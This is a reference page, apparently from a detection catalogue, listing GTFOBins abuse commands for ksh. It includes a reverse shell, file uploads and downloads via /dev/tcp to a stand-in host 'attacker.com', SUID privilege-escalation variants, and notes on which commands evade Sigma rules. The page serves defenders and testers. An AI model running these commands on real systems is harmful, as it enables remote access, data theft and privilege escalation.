ksh

Korn Shell, a Bash-compatible command-line interpreter. tldr-pages

GTFOBins download, file-read, file-write, library-load, reverse-shell, upload 6 Sigma rules name it 2 ATT&CK techniques 11 documented commands

How ksh is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-c

-ne

-r

download T1105 Ingress Tool Transfer

-c

file-read

-c

file-write

-c

library-load

-c

-f

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-c

-i

upload

-c

-e

upload

-c

-n

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ksh.

11 documented commands

from GTFOBins, each read by the identifier

GTFOBins documents ksh with the commands of bash.

download unprivileged, with sudo, as SUID

bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Identify

As SUID:

bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Trips no Sigma process-creation rule.

download unprivileged, with sudo, as SUID

bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Identify

As SUID:

bash -p -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Trips no Sigma process-creation rule.

file-read unprivileged, with sudo, as SUID

bash -c 'echo "$(</path/to/input-file)"'

Identify

As SUID:

bash -p -c 'echo "$(</path/to/input-file)"'

Trips no Sigma process-creation rule.

file-read unprivileged, with sudo, as SUID

This only works interactively from an existing bash session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

file-write unprivileged, with sudo, as SUID

bash -c 'echo DATA >/path/to/output-file'

Identify

As SUID:

bash -p -c 'echo DATA >/path/to/output-file'

Trips no Sigma process-creation rule.

file-write unprivileged, with sudo, as SUID

This only works interactively from an existing bash session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

library-load unprivileged, with sudo, as SUID

bash -c 'enable -f /path/to/lib.so x'

Identify

As SUID:

bash -p -c 'enable -f /path/to/lib.so x'

Trips no Sigma process-creation rule.

reverse-shell unprivileged, with sudo, as SUID

bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'

Identify

As SUID:

bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'

Trips 1 Sigma rule: lowBash Interactive Shell by @d4ns4n_

shell unprivileged, with sudo, as SUID

bash

Identify

As SUID:

bash -p

Trips no Sigma process-creation rule.

upload unprivileged, with sudo, as SUID

bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Identify

As SUID:

bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Trips no Sigma process-creation rule.

upload unprivileged, with sudo, as SUID

bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Identify

As SUID:

bash -p -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Trips no Sigma process-creation rule.

1 of the 9 commands the identifier reads trips a Sigma process-creation rule; 8 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ksh. The identifier reads the line of each that runs bash.